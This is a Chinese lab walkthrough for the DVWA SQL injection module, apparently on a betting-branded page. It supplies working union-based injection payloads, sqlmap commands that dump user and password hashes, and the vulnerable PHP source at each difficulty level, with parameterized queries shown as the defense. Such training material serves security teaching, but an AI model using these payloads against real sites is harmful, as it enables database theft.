beat365体育-beat365体育官方网站-365体育app官方版下载

网络安全 DVWA通关指南 SQL Injection(SQL注入)

SQL注入漏洞基本原理 Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令。 可能导致数据泄露或数据

网络安全 DVWA通关指南 SQL Injection(SQL注入)

SQL注入漏洞基本原理

Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令。

可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机。

根据注入技术分类有以下五种:

布尔型盲注:根据返回页面判断条件真假

时间型盲注:用页面返回时间是否增加判断是否存在注入

基于错误的注入:页面会返回错误信息

联合查询注入:可以使用union的情况下

堆查询注入:可以同时执行多条语句

防御方法

使用参数化查询。

数据库服务器不会把参数的内容当作SQL指令的一部分来拼接执行;

而是在数据库完成SQL指令的编译后才套用参数运行(预编译)。

避免数据变成代码被执行,时刻分清代码和数据的界限。

Low一、判断提交方式

在User ID中输入数字1,提交后发现,在URL地址栏出现了提交的参数,由此可以判断提交方式为get方式。

提问:get和post提交方式对SQL注入的实施有什么影响?

image-20240408153605723二、判断服务器处理类型(数字型或字符型)

加单引号,提交1',出现报错信息,显示多出一个单引号,可以确定为字符型注入

image-20240411212414415三、判断注入点

提交1' or 1=1#语句,结果返回了全部的内容,可以判断存在注入点

代码语言:javascript复制1' or 1=1#image-20240411213036653四、判断列数

使用order by语句判断目标数据库表中的列数,依次提交1' order by 1#语句,数字从大到小,当出现报错信息后确定列数。

代码语言:javascript复制1' order by 1#

1' order by 2#

1' order by 3# image-20240411214439810image-20240411214409610image-20240411214320827当提交1' order by 3#时出现报错信息,说明目标数据库表中的列数为2

五、提取库名、表名、字段名、值

1、提取库名

依据前一步得到的列数构建注入语句,得到数据库名dvwa

代码语言:javascript复制1' union select 1,database()#image-202404112148165152、提取表名

通过注入攻击来获取名为’dvwa’的数据库中的所有表名

代码语言:javascript复制1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

//information_schema 是一个特殊的系统数据库,其中包含了所有用户创建的数据库以及这些数据库中的表的信息。tables 表提供了关于所有表的详细信息,如表名、表类型等。

//"1,table_name"中的'1'是一个占位符,用于模拟与原始查询返回相同数量的列,以便UNION操作成功执行。当提交注入语句时,可能出现如下错误信息:

代码语言:javascript复制Illegal mix of collations for operation 'UNION'image-20240411220050884这是由于MySQL在执行UNION操作时遇到的不同字符集之间的冲突报错。

解决方法:打开CMD,登录MySQL的dvwa数据库,修改first_name和last_name字段的字符集

代码语言:javascript复制alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci;

alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci;

//将first_name和last_name字段的字符集都设置为了utf8,并指定了排序规则为utf8_general_ci修改完毕后,命令执行成功

image-202404112211062293、提取字段名

通过注入攻击获取数据库中特定表(本例中为users表)的所有字段名。

代码语言:javascript复制1' union select 1,column_name from information_schema.columns where table_name='users'#image-202404120837061004、提取值

从数据库表 users 中提取 user 和 password 字段的数据

代码语言:javascript复制1' union select user,password from users#执行命令出现同样的字符编码问题,解决方法还是修改字段的字符集

image-20240412083801374代码语言:javascript复制alter table users modify user varchar(15) character set utf8 collate utf8_general_ci;

alter table users modify password varchar(50) character set utf8 collate utf8_general_ci;执行成功得到用户和密码的数据,密码为32位小写MD5,可以通过在线工具解密

image-20240412084253957image-20240412111534464六、SQLmap工具使用

代码语言:javascript复制sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low"image-20240412103446366image-20240412103645411image-202404121040232721、提取库名

代码语言:javascript复制sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" --dbsimage-202404121041445812、提取表名

代码语言:javascript复制sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" -D dvwa --tablesimage-202404121042362503、提取字段名

代码语言:javascript复制sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" -D dvwa -T users --columnsimage-202404121043247764、提取值

代码语言:javascript复制sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=i0ssj777jur6gqb9af6bd111tn; security=low" --batch -D dvwa -T users -C user,password --dumpimage-20240603085905398七、分析后台脚本

代码语言:javascript复制

if( isset( $_REQUEST[ 'Submit' ] ) ) {

// Get input

$id = $_REQUEST[ 'id' ];

// Check database

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

// Get results

while( $row = mysqli_fetch_assoc( $result ) ) {

// Get values

$first = $row["first_name"];

$last = $row["last_name"];

// Feedback for end user

$html .= "

ID: {$id}
First name: {$first}
Surname: {$last}
";

}

mysqli_close($GLOBALS["___mysqli_ston"]);

}

?>代码语言:javascript复制

// 检查是否有"Submit"按钮被点击

if( isset( $_REQUEST[ 'Submit' ] ) ) {

// 获取用户输入的ID

$id = $_REQUEST[ 'id' ];

// 构建SQL查询语句

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

// 执行SQL查询

$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

// 处理查询结果

while( $row = mysqli_fetch_assoc( $result ) ) {

// 获取查询结果中的名字和姓氏

$first = $row["first_name"];

$last = $row["last_name"];

// 拼接输出结果

$html .= "

ID: {$id}
First name: {$first}
Surname: {$last}
";

}

// 关闭数据库连接

mysqli_close($GLOBALS["___mysqli_ston"]);

}

?>Medium1、修改电脑代理服务器IP设置为127.0.0.1,端口设置为8888,Bur调整代理参数与电脑代理一致

image-20240412094734133image-20240412095237028image-202404120945360462、在DVWA中尝试提交一个ID,在BurpSuite的repeater中查看捕获到的提交信息。使用BurpSuite的repeater模块可以重复发送数据,查看返回数据。

image-20240412095327893image-20240412095418437image-20240412095516476image-202404120957275033、确认列数

代码语言:javascript复制4 order by 1#

4 order by 2#

4 order by 3#image-20240412095859327image-202404120959341534、库、表、字段、值

代码语言:javascript复制4 union select 1,database()#

//得到库名

4 union select 1,table_name from information_schema.tables where table_schema=0x64767761#

//得到表名

4 union select 1,column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273#

//得到字段

4 union select user,password from users#

//得到值提取库名

代码语言:javascript复制4 union select 1,database()#image-20240412101400469提取表名

注入语句发现单引号被转义,使用BurpSuite的Decoder模块,将'dvwa'转为16进制,自行添加0x

代码语言:javascript复制4 union select 1,table_name from information_schema.tables where table_schema='dvwa'#

4 union select 1,table_name from information_schema.tables where table_schema=0x64767761#image-20240412101948084image-20240412102504354image-20240412102654211提取字段名

代码语言:javascript复制4 union select 1,column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273#image-20240412102804247提取user、password的值

代码语言:javascript复制4 union select user,password from users#image-20240412102914074SQLmap工具使用

将第一步抓到的数据保存在桌面,命名为1.txt文件

image-20240603112004596使用-r参数指定文件路径。

代码语言:javascript复制sqlmap -r C:\Users\yuexuan\Desktop\1.txt --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=medium" --batch --dbs

// -r REQUESTFILE 从文件中读取 HTTP 请求image-20240603101812626操作步骤与前面一致,最后得到user、password数据

代码语言:javascript复制sqlmap -r C:\Users\yuexuan\Desktop\1.txt --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=medium" --batch -D dvwa -T users -C user,password --dumpimage-20240603102226671代码语言:javascript复制

if( isset( $_POST[ 'Submit' ] ) ) {

// Get input

$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

//ysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。

//在以下字符前添加反斜线:\x00、\n、\r、\、'、" 和 \x1a.

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '

' . mysqli_error($GLOBALS["___mysqli_ston"]) . '
' );

// Get results

while( $row = mysqli_fetch_assoc( $result ) ) {

// Display values

$first = $row["first_name"];

$last = $row["last_name"];

// Feedback for end user

$html .= "

ID: {$id}
First name: {$first}
Surname: {$last}
";

}

}

// This is used later on in the index.php page

// Setting it here so we can close the database connection in here like in the rest of the source scripts

$query = "SELECT COUNT(*) FROM users;";

$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);

?>High1、点击链接弹出小窗,提交1,使用BurpSuite抓包。

image-20240603092627559image-20240603092835322尝试放包,回显信息出现在原页面

image-202406030930534822、注入方式与Low、Medium级别一致,最后得到user、password数据

代码语言:javascript复制1' union select user,password from users#image-20240603093607403SQLmap工具使用

因为提交数据与回显数据的页面不同,所以需要添加第二个回显地址。将第一步抓到的数据保存在桌面,命名为1.txt文件,使用-r参数指定文件路径。--second-url参数指定会先页面URL。

代码语言:javascript复制sqlmap -r C:\Users\yuexuan\Desktop\1.txt --second-url "http://dvwa/vulnerabilities/sqli/" --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=high" --batch --dbsimage-20240603100335290操作步骤与前面一致,最后得到user、password数据

代码语言:javascript复制sqlmap -r C:\Users\yuexuan\Desktop\1.txt --second-url "http://dvwa/vulnerabilities/sqli/" --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=high" --batch -D dvwa -T users -C user,password --dumpimage-20240603101120077代码语言:javascript复制

if( isset( $_SESSION [ 'id' ] ) ) {

// Get input

$id = $_SESSION[ 'id' ];

// Check database

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '

Something went wrong.
' );

// Get results

while( $row = mysqli_fetch_assoc( $result ) ) {

// Get values

$first = $row["first_name"];

$last = $row["last_name"];

// Feedback for end user

$html .= "

ID: {$id}
First name: {$first}
Surname: {$last}
";

}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);

}

?>Impossible代码语言:javascript复制

if( isset( $_GET[ 'Submit' ] ) ) {

// Check Anti-CSRF token

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input

$id = $_GET[ 'id' ];

// Was a number entered?

if(is_numeric( $id )) {

// Check the database

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

$data->bindParam( ':id', $id, PDO::PARAM_INT );

$data->execute();

$row = $data->fetch();

// Make sure only 1 result is returned

if( $data->rowCount() == 1 ) {

// Get values

$first = $row[ 'first_name' ];

$last = $row[ 'last_name' ];

// Feedback for end user

$html .= "

ID: {$id}
First name: {$first}
Surname: {$last}
";

}

}

}

// Generate Anti-CSRF token

generateSessionToken();

?>

← 上一篇: 掌握wps表格公式自动计算提升工作效率的实用技巧
下一篇: 绝地求生大衣怎么获得 →

相关推荐

梦幻西游经验计算器

梦幻西游经验计算器

扫码免费领梦幻礼包 快速指引 [X9世界] 69 89 109 129 159 175 [任务] 师门任务 宝图任务 师徒任务 封妖任务 [指引] 常见问题 新手驿站 账号注册 游戏

悦诗风吟面膜哪个最好?排名最高的是哪个?

悦诗风吟面膜哪个最好?排名最高的是哪个?

悦诗风吟面膜是近年来备受追捧的护肤品牌之一,其以天然、温和的成分和贴心的设计而受到广大消费者的喜爱。但在众多种类中,哪款面膜才

郭子仪后代(郭子仪后代族谱到现在)

郭子仪后代(郭子仪后代族谱到现在)

本文目录一览: 1、郭子仪的后人祖孙三代效力金国、蒙古国,一生攻城多少? 2、郭子仪的传奇后人是谁 3、寻找郭子仪的后代,以及郭氏的起源。

android程序无法安装,安卓手机安装不了软件怎么办 手机无法安装软件原因和方法...

android程序无法安装,安卓手机安装不了软件怎么办 手机无法安装软件原因和方法...

安卓手机不能安装软件其实有很多的原因,排除可以避免的原因(google授权),其他的硬件设施的支持,也可能出现软件不能安装的现象。小编为

拼多多怎么拒收快递?拼多多已发货怎么拦截?

拼多多怎么拒收快递?拼多多已发货怎么拦截?

随着电商的迅猛发展,越来越多的人选择在拼多多上购物。然而,有时候我们可能会因为各种原因需要拒收快递。那么,拼多多怎么拒收快递呢

油漆桶怎么使用呢(如何正确使用油漆桶?)

油漆桶怎么使用呢(如何正确使用油漆桶?)

问答网首页 > 房产装修 > 油漆 > 油漆桶怎么使用呢(如何正确使用油漆桶?) 伊人恋花 油漆桶的使用通常涉及以下几个步骤: 准备工具和材料: